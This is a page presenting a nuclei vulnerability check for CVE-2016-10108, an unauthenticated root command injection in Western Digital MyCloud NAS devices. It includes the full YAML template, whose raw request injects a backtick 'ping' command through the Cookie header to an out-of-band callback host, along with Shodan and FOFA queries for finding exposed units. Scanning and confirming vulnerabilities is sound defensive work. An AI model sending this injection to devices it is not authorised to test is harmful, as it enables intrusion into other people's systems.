Western Digital MyCloud NAS - Command Injection

criticalseverity

9.8CVSS score

97.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Unauthenticated Remote Command injection as root occurs in the Western Digital MyCloud NAS 2.11.142 /web/google_analytics.php URL via a modified arg parameter in the POST data.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data loss, and potential compromise of the entire network.

Fix

Apply the latest firmware update provided by Western Digital to patch the vulnerability and ensure the device is not accessible from the internet.

How to confirm it

Send: GET /
Positive when: contains(body, "WDMyCloud") and contains(interactsh_protocol, "dns") and status_code == 200

Run it with nuclei: nuclei -id CVE-2016-10108 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-10108

info:
  name: Western Digital MyCloud NAS - Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Unauthenticated Remote Command injection as root occurs in the Western Digital MyCloud NAS 2.11.142 /web/google_analytics.php URL via a modified arg parameter in the POST data.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data loss, and potential compromise of the entire network.
  remediation: |
    Apply the latest firmware update provided by Western Digital to patch the vulnerability and ensure the device is not accessible from the internet.
  reference:
    - https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10108
    - https://packetstormsecurity.com/files/173802/Western-Digital-MyCloud-Unauthenticated-Command-Injection.html
    - http://packetstormsecurity.com/files/173802/Western-Digital-MyCloud-Unauthenticated-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-10108
    cwe-id: CWE-77
    epss-score: 0.9782
    epss-percentile: 0.99905
    cpe: cpe:2.3:a:western_digital:mycloud_nas:2.11.142:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: western_digital
    product: mycloud_nas
    shodan-query: http.favicon.hash:-1074357885
    fofa-query: icon_hash=-1074357885
  tags: cve2016,cve,packetstorm,rce,oast,wdcloud,western_digital,vkev,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: isAdmin=1; username=admin|echo%20`ping -c 3 {{interactsh-url}}`; local_login=1

    matchers:
      - type: dsl
        dsl:
          - contains(body, "WDMyCloud")
          - contains(interactsh_protocol, "dns")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from